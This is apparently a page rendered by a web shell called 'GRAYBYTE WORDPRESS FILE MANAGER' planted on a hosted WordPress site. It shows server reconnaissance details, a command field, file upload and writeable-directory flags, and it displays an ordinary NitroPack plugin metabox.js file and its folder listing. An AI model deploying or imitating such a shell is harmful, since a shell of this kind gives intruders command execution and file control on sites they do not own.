GRAYBYTE WORDPRESS FILE MANAGER4031

Server IP : 162.213.255.40 / Your IP : 216.73.216.149
System : Linux server146.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/hellrfbn/public_html/wp-content/updraft/plugins-old/nitropack/view/javascript/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/hellrfbn/public_html/wp-content/updraft/plugins-old/nitropack/view/javascript//metabox.js
(function($) {
  $(document).ready(function() {
    var statusHideTimeout = null;
    const loading_icon = '<img src="' + metaboxdata.nitro_plugin_url + '/view/images/loading.svg" width="14" class="icon loading"/>';
    
    function clean_single_cache(postId, postUrl, type) {
      postUrl = postUrl || [];
      var action = type == "purge" ? "nitropack_purge_single_cache" : "nitropack_invalidate_single_cache";
      if (statusHideTimeout) {
        clearTimeout(statusHideTimeout);
      }

      $("#nitropack-status-msg").html('Working..&nbsp;&nbsp;'+loading_icon).show();
      $.ajax({
        url: ajaxurl,
        type: "POST",
        data: {
          action: action,
          postId: postId,
          postUrl: postUrl,
          nonce: metaboxdata.nitroNonce
        },
        success: function() {
          $("#nitropack-status-msg").html('<span style="color: green;">Success</span>');          
          statusHideTimeout = setTimeout(function() {
            $("#nitropack-status-msg").fadeOut();
          }, 3000);
        },
        error: function() {
          $("#nitropack-status-msg").html('<span style="color: red;">Error. Please try again.</span>');
          statusHideTimeout = setTimeout(function() {
            $("#nitropack-status-msg").fadeOut();
          }, 3000);
        }
      });
    }

    $(".nitropack-purge-single").on("click", function() {
      var postId = $(this).data("post_id");
      var postUrl = $(this).data("post_url");
      clean_single_cache(postId, postUrl, "purge");
    });

    $(".nitropack-invalidate-single").on("click", function() {
      var postId = $(this).data("post_id");
      var postUrl = $(this).data("post_url");
      clean_single_cache(postId, postUrl, "invalidate");
    });
  });
})(jQuery);

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 23 2025 07:38:27
hellrfbn / hellrfbn
0755
.htaccess
0.41 KB
July 23 2025 07:38:27
hellrfbn / hellrfbn
0644
admin_bar_menu.js
3.018 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
flowbite.min.js
82.105 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
gravity_forms.js
0.514 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
math_captcha.js
0.523 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
metabox.js
1.737 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
nitropackUI.js
6.473 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
np_notices.js
2.056 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
np_safemode.js
6.14 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
np_settings.js
6.588 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
popper.min.js
18.861 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644
widgets_ajax.js
0.255 KB
June 25 2024 18:18:46
hellrfbn / hellrfbn
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF